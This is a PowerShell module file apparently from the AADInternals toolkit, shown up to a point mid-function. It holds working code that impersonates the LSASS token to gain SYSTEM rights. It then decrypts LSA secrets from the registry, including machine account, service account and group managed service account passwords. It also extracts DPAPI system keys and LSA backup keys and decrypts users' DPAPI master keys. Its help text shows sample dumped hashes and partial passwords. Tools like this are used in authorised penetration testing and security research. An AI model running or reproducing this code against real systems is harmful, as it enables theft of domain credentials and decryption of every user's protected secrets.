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AD_utils.ps1
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AD_utils.ps1
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# This file contains functions for various Active Directory related operations
# Import the Native Methods dll
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
# Hash and encryption algorithms
$ALGS=@{
0x00006603 = "3DES"
0x00006609 = "3DES 112"
0x00006611 = "AES"
0x0000660e = "AES 128"
0x0000660f = "AES 192"
0x00006610 = "AES 256"
0x0000aa03 = "AGREEDKEY ANY"
0x0000660c = "CYLINK MEK"
0x00006601 = "DES"
0x00006604 = "DESX"
0x0000aa02 = "DH EPHEM"
0x0000aa01 = "DH SF"
0x00002200 = "DSS SIGN"
0x0000aa05 = "ECDH"
0x0000ae06 = "ECDH EPHEM"
0x00002203 = "ECDSA"
0x0000a001 = "ECMQV"
0x0000800b = "HASH REPLACE OWF"
0x0000a003 = "HUGHES MD5"
0x00008009 = "HMAC"
0x0000aa04 = "KEA KEYX"
0x00008005 = "MAC"
0x00008001 = "MD2"
0x00008002 = "MD4"
0x00008003 = "MD5"
0x00002000 = "NO SIGN"
0xffffffff = "OID INFO CNG ONLY"
0xfffffffe = "OID INFO PARAMETERS"
0x00004c04 = "PCT1 MASTER"
0x00006602 = "RC2"
0x00006801 = "RC4"
0x0000660d = "RC5"
0x0000a400 = "RSA KEYX"
0x00002400 = "RSA SIGN"
0x00004c07 = "SCHANNEL ENC KEY"
0x00004c03 = "SCHANNEL MAC KEY"
0x00004c02 = "SCHANNEL MASTER HASH"
0x00006802 = "SEAL"
0x00008004 = "SHA1"
0x0000800c = "SHA 256"
0x0000800d = "SHA 384"
0x0000800e = "SHA 512"
0x0000660a = "SKIPJACK"
0x00004c05 = "SSL2 MASTER"
0x00004c01 = "SSL3 MASTER"
0x00008008 = "SSL3 SHAMD5"
0x0000660b = "TEK"
0x00004c06 = "TLS1 MASTER"
0x0000800a = "TLS1PRF"
}
# Gets the class name of the given registry key (can't be read with pure PowerShell)
# Mar 25th 2020
function Invoke-RegQueryInfoKey
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[Microsoft.Win32.RegistryKey]$RegKey
)
Process
{
# Create the StringBuilder and length to retrieve the class name
$length = 255
$name = New-Object System.Text.StringBuilder $length
# LastWrite
[int64]$lw=0
$err = [AADInternals.Native]::RegQueryInfoKey(
$RegKey.Handle,
$name, # ClassName
[ref] $length, # ClassNameLength
$null, # Reserved
[ref] $null, # SubKeyCount
[ref] $null, # MaxSubKeyNameLength
[ref] $null, # MaxClassLength
[ref] $null, # ValueCount
[ref] $null, # MaxValueNameLength
[ref] $null, # MaxValueValueLength
[ref] $null, # SecurityDescriptorSize
[ref] $lw # LastWrite
)
if ($err -ne 0) {
Throw "Error while invoking RegQueryInfoKey"
}
else {
$hexValue = $name.ToString()
if([String]::IsNullOrEmpty($hexValue))
{
Write-Error "RegQueryInfoKey: ClassName is empty"
}
else
{
return Convert-HexToByteArray $hexValue
}
}
}
}
# Gets the boot key from the registry
# Mar 25th 2020
function Get-Bootkey
{
[cmdletbinding()]
Param()
Process
{
# Get the current controlset
$cc = "{0:000}" -f (Get-ItemPropertyValue "HKLM:\SYSTEM\Select" -Name "Current")
# Construct the bootkey
$lsaKey = "HKLM:\SYSTEM\ControlSet$cc\Control\Lsa"
$bootKey = Invoke-RegQueryInfoKey (Get-Item "$lsaKey\JD")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\Skew1")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\GBG")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\Data")
# Return the bootkey with the correct byte order
$bootKeyBytes=@(
$bootKey[0x08]
$bootKey[0x05]
$bootKey[0x04]
$bootKey[0x02]
$bootKey[0x0B]
$bootKey[0x09]
$bootKey[0x0D]
$bootKey[0x03]
$bootKey[0x00]
$bootKey[0x06]
$bootKey[0x01]
$bootKey[0x0C]
$bootKey[0x0E]
$bootKey[0x0A]
$bootKey[0x0F]
$bootKey[0x07]
)
Write-Verbose "BootKey (SysKey): $((Convert-ByteArrayToHex -Bytes $bootKeyBytes).toLower())"
return $bootKeyBytes
}
}
# Gets the computer name
# Apr 24th 2020
function Get-ComputerName
{
[cmdletbinding()]
Param(
[Switch]$FQDN
)
Process
{
# Get the server name from the registry
$computer = Get-ItemPropertyValue "HKLM:\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" -Name "ComputerName"
if($FQDN)
{
# Get the domain part
$domain = Get-ComputerDomainName
}
Write-Verbose "ComputerName: $computer"
return $computer
}
}
# Gets the domain of the computer
# Aug 28th 2022
function Get-ComputerDomainName
{
[cmdletbinding()]
Param(
[Switch]$NetBIOS
)
Process
{
# Get the FQDN from the registry
$domainName = Get-ItemPropertyValue "HKLM:\System\CurrentControlSet\Services\Tcpip\Parameters" -Name "Domain"
if(!$domainName)
{
throw "Could not get FQDN from registry."
}
Write-Verbose "Domain name: $domainName"
# Get NetBIOS using WMIC
if($NetBIOS)
{
Write-Verbose "Getting NetBIOS domain name for $domainName using WMIC"
$wmiDomain = Get-WmiObject Win32_NTDomain -Filter "DnsForestName = '$($domainName)'"
if(!$wmiDomain)
{
throw "Could not get NetBIOS domain for $FQDN using WMIC"
}
$DomainName = $wmiDomain.DomainName
Write-Verbose "NetBIOS domain: $domainName"
}
return $domainName
}
}
# Gets the machine guid
# Mar 25th 2020
function Get-MachineGuid
{
Process
{
$registryValue = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name "MachineGuid"
return [guid] $registryValue.MachineGuid
}
}
# Gets the DPAPI_SYSTEM keys
# Apr 23rd 2020
function Get-DPAPIKeys
{
<#
.SYNOPSIS
Gets DPAPI system keys
.DESCRIPTION
Gets DPAPI system keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run on a domain controller as an administrator
.Example
Get-AADIntDPAPIKeys
UserKey UserKeyHex MachineKey MachineKeyHex
------- ---------- ---------- -------------
{16, 130, 39, 122...} 1082277ac85a532018930b782c30b7f2f91f7677 {226, 88, 102, 95...} e258665f0a016a7c215ceaf29ee1ae17b9f017b9
.Example
$dpapi_keys=Get-AADIntDPAPIKeys
#>
[cmdletbinding()]
Param()
Process
{
$LSAsecrets = Get-LSASecrets -Users "DPAPI_SYSTEM"
foreach($secret in $LSAsecrets)
{
if($secret.Name -eq "DPAPI_SYSTEM")
{
# Strip the first two DWORDs
$key = $secret.Password[4..$($secret.Password.Length-1)]
$userKey = $key[0..19]
$machineKey = $key[20..39]
$attributes=[ordered]@{
"UserKey" = $userKey
"UserKeyHex" = Convert-ByteArrayToHex -Bytes $userKey
"MachineKey" = $machineKey
"MachineKeyHex" = Convert-ByteArrayToHex -Bytes $machineKey
}
return New-Object psobject -Property $attributes
}
}
}
}
# Decrypts the given data using the given key and InitialVector (IV)
# Apr 24th 2020
function Decrypt-LSASecretData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data,
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$InitialVector
)
Process
{
# Create a SHA256 object
$sha256 = [System.Security.Cryptography.SHA256]::Create()
# Derive the encryption key (first hash with the key, and then 1000 times with IV)
$sha256.TransformBlock($Key,0,$Key.Length,$null,0) | Out-Null
for($a = 0 ; $a -lt 999; $a++)
{
$sha256.TransformBlock($InitialVector,0,$InitialVector.Length,$null,0) | Out-Null
}
$sha256.TransformFinalBlock($InitialVector,0,$InitialVector.Length) | Out-Null
$encryptionKey = $sha256.Hash
# Create an AES decryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode="ECB"
$aes.Padding="None"
$aes.KeySize = 256
$aes.Key = $encryptionKey
# Decrypt the data
$dec = $aes.CreateDecryptor()
$decryptedData = $dec.TransformFinalBlock($Data,0,$Data.Count)
# return
return $decryptedData
}
}
# Parse LSA secrets Blob
# Apr 24th 2020
function Parse-LSASecretBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
Process
{
$version = [System.BitConverter]::ToInt32($Data[3..0], 0)
$guid = [guid][byte[]]($Data[4..19])
$algorithm = [System.BitConverter]::ToInt32($Data, 20)
$flags = [System.BitConverter]::ToInt32($Data, 24)
$lazyIv = $Data[28..59]
Write-Verbose "Key ID: $($guid.ToString())"
New-Object -TypeName PSObject -Property @{
"Version" = $version
"GUID" = $guid
"Algorighm" = $algorithm
"Flags" = $flags
"IV" = $lazyIv
"Data" = $Data[60..$($Data.Length)]
}
}
}
# Parse LSA password Blob
# Apr 24th 2020
function Parse-LSAPasswordBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PasswordBlob
)
Process
{
# Get the size
$BlobSize = [System.BitConverter]::ToInt32($PasswordBlob,0)
# Get the actual data (strip the first four DWORDs)
$Blob = $PasswordBlob[16..$(16+$BlobSize-1)]
Write-Verbose "Password Blob: $(Convert-ByteArrayToHex -Bytes $Blob)"
return $Blob
}
}
# Parses LSA keystream
# Apr 24th 2020
function Parse-LSAKeyStream
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$KeyStream
)
Process
{
# Get the stream size
$streamSize = [System.BitConverter]::ToInt32($KeyStream,0)
# Get the actual data (strip the first four DWORDs)
$streamData = $KeyStream[16..$(16+$streamSize-1)]
# Parse the keystream metadata
$ksType = [System.BitConverter]::ToInt32($streamData[0..3], 0)
$CurrentKeyID = [guid][byte[]]($streamData[4..19])
Write-Verbose "Current LSA key Id: $($CurrentKeyID.ToString())"
$ksType2 = [System.BitConverter]::ToInt32($streamData, 20)
$ksNumKeys = [System.BitConverter]::ToInt32($streamData, 24)
Write-Verbose "Number of LSA keys: $ksNumKeys"
# Loop through the list of the keys, start right after the header information
$pos=28
$keys=@{}
for($a = 0; $a -lt $ksNumKeys ; $a++)
{
$keyId = [guid][byte[]]($streamData[$pos..$($pos+15)])
$pos+=16
$keyType = [System.BitConverter]::ToInt32($streamData[$pos..$($pos+3)], 0)
$pos+=4
$keySize = [System.BitConverter]::ToInt32($streamData[$pos..$($pos+3)], 0)
$pos+=4
$keyBytes = [byte[]]($streamData[$pos..$($pos+$keySize-1)])
$pos+=$keySize
Write-Verbose "LSA Key $($a+1) Id:$($keyId.ToString()), $((Convert-ByteArrayToHex -Bytes $keyBytes).toLower())"
$keys[$keyId.ToString()] = $keyBytes
}
return $keys
}
}
# Gets LSA secrets
# Apr 24th 2020
# Aug 29th 2022: Added support for Group Managed Service Accounts (GMSA)
function Get-LSASecrets
{
<#
.SYNOPSIS
Gets computer's LSA Secrets from registry.
.DESCRIPTION
Gets computer's Local Security Authority (LSA) secrets from registry. MUST be run as an administrator.
.PARAMETER AccountName
The account name of a service
.PARAMETER Users
List of users
.Example
Get-AADIntLSASecrets
Name : $MACHINE.ACC
Account :
Password : {131, 100, 104, 117...}
PasswordHex : 836468758afd792..
PasswordTxt : 撃畨ﶊ脅䰐血⺹颶姾..
Credentials :
MD4 : {219, 201, 145, 228...}
SHA1 : {216, 95, 90, 3...}
MD4Txt : dbc991e4e611cf4dbd0d853f54489caf
SHA1Txt : d85f5a030b06061329ba93ac7da2f446981a02b6
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
Name : NL$KM
Account :
Password : {209, 118, 66, 10...}
PasswordHex : d176420abde330d3e443212b...
PasswordTxt : 监ੂ팰䏤⬡ꎛ녀䚃劤⪠钤␎／뜕ະ...
Credentials :
MD4 : {157, 45, 19, 202...}
SHA1 : {197, 144, 115, 117...}
MD4Txt : 9d2d13cac899b491114129e5ebe00939
SHA1Txt : c590737514c8f22607fc79d771b61b1a1505c3ee
Name : _SC_AADConnectProvisioningAgent
Account : COMPANY\provAgentgMSA
Password : {176, 38, 6, 7...}
PasswordHex : b02606075f962ab4474bd570dc..
PasswordTxt : ⚰܆陟됪䭇...
Credentials : System.Management.Automation.PSCredential
MD4 : {123, 211, 194, 182...}
SHA1 : {193, 238, 187, 166...}
MD4Txt : 7bd3c2b62b66024e4e066a1f4902221e
SHA1Txt : c1eebba61a72d8a4e78b1cefd27c555b83a39cb4
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
Name : _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_15030c93b7affb1fe7dc418b9dab42addf5
74c56b3e7a83450fc4f3f8a382028
Account :
Password : {131, 250, 57, 146...}
PasswordHex : 83fa3992cd076f3476e8be7e04...
PasswordTxt : 廙鈹ߍ㑯纾�≦瀛･௰镭꾔浪�ꨲ컸Ｏ⩂�..
Credentials :
MD4 : {198, 74, 199, 231...}
SHA1 : {78, 213, 16, 126...}
MD4Txt : c64ac7e7d2defe99afdf0026b79bbab9
SHA1Txt : 4ed5107ee08123635f08390e106ed000f96273fd
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
.Example
Get-AADIntLSASecrets -AccountName COMPANY\AAD_5baf82738e9c
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
.Example
Get-AADIntLSASecrets -AccountName COMPANY\sv_ADFS
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
.Example
Get-AADIntLSASecrets -Users DPAPI_SYSTEM
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String[]]$Users,
[Parameter(ParameterSetName='Account',Mandatory=$False)]
[String]$AccountName
)
Begin
{
$sha1Prov = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
}
Process
{
# First elevate the current thread by copying the token from LSASS.EXE
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
if([AADInternals.Native]::copyLsassToken())
{
#
# Get the syskey a.k.a. bootkey
#
$syskey = Get-Bootkey
#
# Get the name and sid information
#
# Get the local name and sid
$lnameBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolAcDmN" -Name "(default)"
$LocalName = [text.encoding]::Unicode.GetString($lnameBytes[8..$($lnameBytes.Length)])
$lsidBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolAcDmS" -Name "(default)"
$LocalSid=(New-Object System.Security.Principal.SecurityIdentifier($lsidBytes,0)).Value
# Get the domain name and sid
$dnameBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolPrDmN" -Name "(default)"
$DomainName = [text.encoding]::Unicode.GetString($dnameBytes[8..$($dnameBytes.Length)]).Trim(0x00)
$dsidBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolPrDmS" -Name "(default)"
if($dsidBytes)
{
$DomainSid=(New-Object System.Security.Principal.SecurityIdentifier($dsidBytes,0)).Value
}
# Get the domain FQDN
$fqdnBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolDnDDN" -Name "(default)"
$DomainFQDN = [text.encoding]::Unicode.GetString($fqdnBytes[8..$($fqdnBytes.Length)]).Trim(0x00)
Write-Verbose "Local: $LocalName ($LocalSid)"
Write-Verbose "Domain: $DomainName ($DomainSid)"
Write-Verbose "FQDN: $DomainFQDN"
#
# Get the encryption key Blob
#
$encKeyBlob = Parse-LSASecretBlob -Data (Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolEKList" -Name "(default)")
Write-Verbose "Default key: $($encKeyBlob.GUID)"
# Decrypt the encryption key Blob using the syskey
$decKeyBlob = Decrypt-LSASecretData -Data ($encKeyBlob.Data) -Key $syskey -InitialVector ($encKeyBlob.IV)
# Parse the keys
$encKeys = Parse-LSAKeyStream -KeyStream $decKeyBlob
#
# Get the password Blobs for each system account
#
# Get service account names and gMSA names
$gmsaNames = @{}
$serviceAccounts = @{}
foreach($service in Get-ServiceAccountNames)
{
$svcAccount = $service.AccountName
if(![string]::IsNullOrEmpty($svcAccount) -and !$svcAccount.ToUpper().StartsWith("NT AUTHORITY\") -and !$svcAccount.ToUpper().StartsWith("NT SERVICE\") -and !$svcAccount.ToUpper().StartsWith("\DRIVER\") -and !$svcAccount.ToUpper().Equals("LOCALSYSTEM") )
{
if($svcAccount.EndsWith('$'))
{
$svcAccount = $svcAccount.Substring(0,$svcAccount.Length-1)
}
$serviceAccounts[$service.Service] = $svcAccount
$parts = $svcAccount.Split('\')
$gmsaName = Get-GMSASecretName -Type GMSA -AccountName $parts[1] -DomainName $parts[0]
$gmsaNames[$gmsaName] = $svcAccount
}
}
# Create a user list for gMSA and SAs if AccountName was provided
if(![string]::IsNullOrEmpty($AccountName))
{
Write-Verbose "Trying to find secret for account: $AccountName"
if($AccountName.IndexOf("\") -lt 0)
{
$AccountName = "$DomainName\$AccountName"
}
if($AccountName.EndsWith('$'))
{
$AccountName = $AccountName.Substring(0,$AccountName.Length-1)
}
$parts = $AccountName.Split('\')
$gmsaName = Get-GMSASecretName -Type GMSA -AccountName $parts[1] -DomainName $parts[0]
$smsaName = "_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_$($parts[1])$('$')"
foreach($service in $serviceAccounts.Keys)
{
if($serviceAccounts[$service] -eq $AccountName)
{
$saName = $service
break
}
}
$Users = @($gmsaName, $smsaName, "_SC_$saName")
}
# If users list not provided, retrieve all secrets
if([string]::IsNullOrEmpty($Users))
{
$Users = Get-ChildItem "HKLM:\SECURITY\Policy\Secrets\" | select -ExpandProperty PSChildName
}
foreach($user in $Users)
{
# Return values
$attributes=[ordered]@{}
$md4=$null
$sha1=$null
$Md4txt=$null
$Sha1txt=$null
$account=$null
# Create the registry key
$regKey = "HKLM:\SECURITY\Policy\Secrets\$user\CurrVal"
if(Test-Path $regKey)
{
# Get the secret Blob from registry
$pwdBlob = Parse-LSASecretBlob -Data (Get-ItemPropertyValue $regKey -Name "(default)")
# Decrypt the password Blob using the correct encryption key
$decPwdBlob = Decrypt-LSASecretData -Data ($pwdBlob.Data) -Key $encKeys[$($pwdBlob.GUID.ToString())] -InitialVector ($pwdBlob.IV)
# Parse the Blob
if($user.StartsWith("_SC_GMSA_")) # Group Managed Service Account or GMSA DPAPI
{
# Strip the header
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
# Replace the user name
if($gmsaNames.ContainsKey($user))
{
$account = $gmsaNames[$user]
}
# Parse managed password blob for GMSA accounts
if($user.StartsWith("_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_"))
{
$gmsa = Parse-ManagedPasswordBlob -PasswordBlob $pwdb
$pwdb = $gmsa.CurrentPassword
}
}
elseif($user.StartsWith("_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_")) # standalone Managed Service Account sMSA
{
# Strip the header
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
$account = "$DomainName\$($user.SubString(43))" # "_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_"
# Strip the dollar sign
if($account.EndsWith('$'))
{
$account = $account.Substring(0,$account.Length-1)
}
}
elseif($user.StartsWith("_SC_")) # Service accounts doesn't have password Blob - just dump the data after the header
{
$serviceName = $user.SubString(4)
$account = $serviceAccounts[$serviceName]
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
}
else
{
$pwdb = Parse-LSAPasswordBlob -PasswordBlob $decPwdBlob
}
# Strip the first DWORD for DPAPI_SYSTEM
if($name -eq "DPAPI_SYSTEM")
{
$pwdb = $pwdb[4..$($pwdb.Length)]
}
else
{
if($pwdb -ne $null)
{
$md4=Get-MD4 -bArray $pwdb -AsByteArray
$sha1 = $sha1Prov.ComputeHash($pwdb)
$md4txt = Convert-ByteArrayToHex -Bytes $md4
$sha1txt = Convert-ByteArrayToHex -Bytes $sha1
Write-Verbose "MD4: $md4txt"
Write-Verbose "SHA1: $sha1txt"
}
}
# Add to return value
$attributes["Name"] = $user
$attributes["Account"] = $account
$attributes["Password"] = $pwdb
$attributes["PasswordHex"] = Convert-ByteArrayToHex -Bytes $pwdb
$attributes["PasswordTxt"] = ""
try{
$attributes["PasswordTxt"] = ([text.encoding]::Unicode.getString($pwdb)).trimend(@(0x00,0x0a,0x0d))
}
catch{}
$attributes["Credentials"] = $null
try{
$attributes["Credentials"] = [pscredential]::new($account,($attributes["PasswordTxt"] | ConvertTo-SecureString -AsPlainText -Force))
}
catch{}
$attributes["MD4"] = $md4
$attributes["SHA1"] = $sha1
$attributes["MD4Txt"] = $md4txt
$attributes["SHA1Txt"] = $sha1txt
Write-Verbose "$($user): $(Convert-ByteArrayToHex -Bytes $pwdb)" -ErrorAction SilentlyContinue
New-Object psobject -Property $attributes
}
else
{
Write-Verbose "No secrets found for user $user"
}
}
}
else
{
Write-Error "Could not copy LSASS.EXE token. MUST be run as administrator"
}
}
}
# Gets LSA backup keys
# Apr 24th 2020
function Get-LSABackupKeys
{
<#
.SYNOPSIS
Gets LSA backup keys
.DESCRIPTION
Gets Local Security Authority (LSA) backup keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run as an administrator
.Example
Get-AADIntLSABackupKeys
certificate Name Id Key
----------- ---- -- ---
{1, 2, 3, 4...} RSA e783c740-2284-4bd6-a121-7cc0d39a5077 {231, 131, 199, 64...}
Legacy ff127a05-51b1-4d45-8655-30c883631d90 {255, 18, 122, 5...}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
#>
[cmdletbinding()]
Param()
Process
{
# First elevate the current thread by copying the token from LSASS.EXE
if([AADInternals.Native]::copyLsassToken())
{
# Call the native method to retrive backupkeys
$backupKeys=[AADInternals.Native]::getLsaBackupKeys();
}
else
{
Write-Error "Could not copy LSASS.EXE token. MUST be run as administrator"
return
}
# Analyse and update the keys
foreach($backupKey in $backupKeys)
{
if($bk=$backupKey.key)
{
# Get the version info (type of the key)
$p=0;
$version = [bitconverter]::ToInt32($bk,$p); $p+=4
if($version -eq 2) # RSA privatekey
{
$keyLen = [bitconverter]::ToInt32($bk,$p); $p+=4
$certLen = [bitconverter]::ToInt32($bk,$p); $p+=4
# Extract the private key and certificate
$key=$bk[$p..$($p+$keyLen-1)]
$p+=$keyLen
$cert=$bk[$p..$($p+$certLen-1)]
# Create a private key header
$pvkHeader = @(
# Private key magic = 0xb0b5f11e == bob's file
0x1e, 0xf1, 0xb5, 0xb0
# File version = 0
0x00, 0x00, 0x00, 0x00
# Key spec = 1
0x01, 0x00, 0x00, 0x00
# Encrypt type = 0
0x00, 0x00, 0x00, 0x00
# Encrypt data = 0
0x00, 0x00, 0x00, 0x00
)
$pvkHeader += [System.BitConverter]::GetBytes([int32]$keyLen)
# Construct the private key and update key object
$privateKey = $pvkHeader + $key
$backupKey.key = [byte[]]$privateKey
# Add certificate to key object
$backupKey | Add-Member -NotePropertyName "certificate" -NotePropertyValue $cert
}
elseif($version -eq 1) # Legacy key
{
# Update the key object's key
$key = $bk[$p..$($bk.Length)]
$backupKey.key = $key
}
}
}
return $backupKeys
}
}
# Gets the given user's DSAPI master keys
# Apr 25th 2020
function Get-UserMasterkeys
{
<#
.SYNOPSIS
Gets user's master keys
.DESCRIPTION
Gets user's master keys using the password or system backup key (LSA backup key)
.Example
Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -Password "password"
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b... {166, 95, 5, 216...}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
PS C:\>$rsa_key=$lsabk_keys | where name -eq RSA
PS C:\>Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.key
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b...
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[String]$UserName,
[Parameter(Mandatory=$true)]
[String]$SID,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[String]$Password,
[Parameter(Mandatory=$true, ParameterSetName="systemkey")]
[byte[]]$SystemKey,
[Parameter(Mandatory=$false)]
[String]$UsersFolder="C:\Users"
)
Process
{
$retVal=@{}
#$bSID=[System.Security.Principal.SecurityIdentifier]::new($SID)
$keysPath="$UsersFolder\$userName\AppData\Roaming\Microsoft\Protect\$SID"
$fileNames=Get-ChildItem -Path $keysPath -Hidden | select -ExpandProperty Name
foreach($fileName in $fileNames)
{
$guid=$null
try
{
$guid=[guid]$fileName
}
catch{}
if($guid -ne $null)
{
Write-Verbose "Found masterkey file: $("$keysPath\$fileName")`n`n"
$binMasterKey = Get-BinaryContent "$keysPath\$fileName"
$mk = Parse-MasterkeyBlob -Data $binMasterKey
if($SystemKey) # Decrypt using SystemKey
{
if($mk.DomainKey)
{
$decKey = Decrypt-MasterkeyBlob -Systemkey $SystemKey -Data $mk.DomainKey
}
}
else
{
$decKey = Decrypt-MasterkeyBlob -Data $mk.MasterKey -Password $Password -SID $SID -Salt $mk.MasterKeySalt -Iterations $mk.MasterKeyIterations -Flags $mk.MasterKeyFlags
}
$retVal[$mk.MasterKeyGuid] = $decKey